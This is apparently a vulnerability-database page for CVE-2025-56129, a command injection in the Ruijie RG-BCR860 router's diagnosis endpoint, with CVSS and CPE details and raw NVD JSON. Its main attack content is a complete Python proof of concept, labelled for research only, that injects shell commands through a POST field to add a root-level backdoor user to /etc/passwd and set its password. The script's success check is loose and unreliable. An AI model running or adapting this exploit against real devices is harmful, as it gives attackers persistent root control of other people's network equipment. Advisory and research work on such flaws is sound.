Security Vulnerability Report
中文
CVE-2025-56129 CVSS 8.8 HIGH

CVE-2025-56129

Published: 2025-12-11 19:15:58
Last Modified: 2025-12-15 20:00:28

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_diagnosis in file /usr/lib/lua/luci/controller/admin/diagnosis.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr860_firmware:2.5.13:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR RG-BCR860 固件版本 <= 特定未修补版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56129 PoC - Ruijie RG-BCR RG-BCR860 OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/diagnosis.lua def exploit(target_ip, target_port=443): """ Exploit OS Command Injection in Ruijie RG-BCR RG-BCR860 Endpoint: /cgi-bin/luci/admin/diagnosis/action_diagnosis """ url = f"https://{target_ip}:{target_port}/cgi-bin/luci/admin/diagnosis/action_diagnosis" # Inject command to create a backdoor user payload = "; echo 'hacker:x:0:0::/tmp:/bin/sh' >> /etc/passwd; echo 'hacker:password' | chpasswd #" data = { "target": payload, "command": "ping" # Use ping as the base command } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, verify=False, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") # Verify exploitation verify_url = f"https://{target_ip}:{target_port}/cgi-bin/luci/admin/system/backup" verify_response = requests.get(verify_url, verify=False, timeout=10) if verify_response.status_code == 200: print("[+] Exploitation successful!") print("[+] Backdoor user created with UID 0 (root)") else: print("[-] Exploitation may have failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56129", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:58.007", "lastModified": "2025-12-15T20:00:27.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_diagnosis in file /usr/lib/lua/luci/controller/admin/diagnosis.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr860_firmware:2.5.13:*:*:*:*:*:*:*", "matchCriteriaId": "C323D9DE-ABA5-4909-90FD-9304F1064DE4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:*", "matchCriteriaId": "AEB06D24-93E3-42B4-AD6C-5510F5B5EDDC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqEQemupso9DldgG-EcUI8IBLpEWP_S-f6vpeUtYztYYCg?e=gX4A10", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EaJ2e_mzgltOiHqb4t8xIvgBoT2CYEP0nrhZd7IYlCHSPQ?e=miUrrL", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56129.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}